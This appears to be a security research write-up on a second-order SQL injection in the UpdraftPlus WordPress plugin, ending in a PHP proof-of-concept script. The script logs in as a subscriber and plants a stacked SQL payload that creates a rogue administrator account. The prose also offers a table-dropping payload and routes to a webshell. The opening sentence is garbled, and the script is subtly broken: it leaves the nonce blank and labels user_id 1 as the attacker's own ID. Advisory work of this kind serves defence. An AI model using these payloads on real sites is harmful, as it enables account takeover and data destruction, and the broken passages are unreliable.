Atomic Edge analysis of CVE-2026-108761 (metadata-based):
UpdraftPlus (Free <= 1.26.15, Premium query call during restore, or string concatenation in a backup SQL file) is inferred from the CWE and description. Atomic Edge research cannot confirm whether the injection occurs at backup creation, at restore parsing, or both.
Exploitation: An authenticated attacker with Subscriber or higher privileges updates their profile description via the standard WordPress profile form (POST /wp-admin/profile.php, parameter description) or via the REST API (POST /wp-json/wp/v2/users/me with JSON body field description). The payload is a SQL fragment designed to break out of the expected string context when the backup SQL is executed. A typical payload might be: ‘); DROP TABLE wp_users;– – or a UNION-based payload to extract data, or a stacked query to insert an administrator account. Because the payload is stored in the database, the attacker waits for an administrator to create a backup and later restore it, at which point the malicious SQL runs. The CVSS UI:R component matches this administrator action. Successful SQL execution can modify wp_users (to create an admin), alter wp_options, or, if the database user has FILE privileges, write a PHP webshell. On sites where plugin installation is available (e.g., administrator session or option manipulation), the attacker can install and activate a malicious plugin, achieving remote code execution. Atomic Edge analysis infers these steps from the description; no live exploit was tested.
Remediation: The fix likely requires using $wpdb->prepare() or parameterized queries when constructing SQL that includes the user description field during backup and restore operations. The plugin should also validate and sanitize the description field before embedding it in SQL, and escape single quotes, backslashes, and comment sequences. Because this is second-order, sanitization must occur at the point of SQL construction, not only at input time. The patched versions 1.26.16 and 2.26.16 presumably address the sink. Atomic Edge research cannot confirm the exact code change without a diff.
Impact: Exploitation allows an authenticated low-privileged user to execute arbitrary SQL in the WordPress database during a restore. That can lead to data modification (e.g., privilege escalation by inserting an administrator), data disclosure, and, via FILE privileges or plugin installation, remote code execution. The CVSS confidentiality, integrity, and availability impacts are all High. The attack requires a backup and restore cycle initiated by an administrator, which limits mass exploitation but does not reduce the severity for targeted sites.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-108761 - UpdraftPlus <= 1.26.15 / Premium <= 2.26.15 - Authenticated (Subscriber+) Second-Order SQL Injection to RCE via User Profile Description
// This PoC demonstrates storing a SQL injection payload in the user profile description field.
// It assumes the attacker has a valid subscriber-level account. The payload executes when an
// administrator creates a backup and restores it. No code diff is available; the payload is
// inferred from the CWE-89 classification and the vulnerability description.
$target_url = 'http://example.com'; // Change to the target WordPress site URL
$username = 'subscriber'; // Subscriber-level username
$password = 'password'; // Subscriber-level password
// SQL payload: break out of the string context and execute a stacked query.
// The exact syntax depends on the backup SQL structure, which is not available.
// This payload attempts to create an administrator account as a demonstration.
$payload = "'); INSERT INTO wp_users (user_login, user_pass, user_email, user_registered) VALUES ('attacker', MD5('pwned'), 'attacker@example.com', NOW()); INSERT INTO wp_usermeta (user_id, meta_key, meta_value) SELECT ID, 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}' FROM wp_users WHERE user_login='attacker';-- -";
// Step 1: Log in to WordPress and obtain cookies.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1',
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve-2026-108761-cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-108761-cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
if ($login_response === false) {
die('Login request failed: ' . curl_error($ch) . PHP_EOL);
}
curl_close($ch);
// Step 2: Update the profile description with the SQL payload.
// WordPress core applies wp_kses_post to the description, so the payload must avoid
// HTML tags. The payload above uses only quotes, parentheses, and SQL keywords.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/profile.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'update',
'user_id' => '1', // The attacker's own user ID; adjust if needed
'description' => $payload,
'submit' => 'Update Profile',
'_wpnonce' => '', // The nonce must be extracted from the profile page for a real attack
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve-2026-108761-cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve-2026-108761-cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$profile_response = curl_exec($ch);
if ($profile_response === false) {
die('Profile update request failed: ' . curl_error($ch) . PHP_EOL);
}
curl_close($ch);
// Step 3: Report status. The payload is now stored. Exploitation completes when an
// administrator creates a backup and restores it. This PoC does not automate that step.
echo "Payload stored in profile description. Await administrator backup and restore.n";
// Note: A production exploit must extract the _wpnonce value from the profile page
// (e.g., via regex on the HTML form) and include it in the POST. This PoC omits that
// step for brevity but real exploitation requires a valid nonce.
?>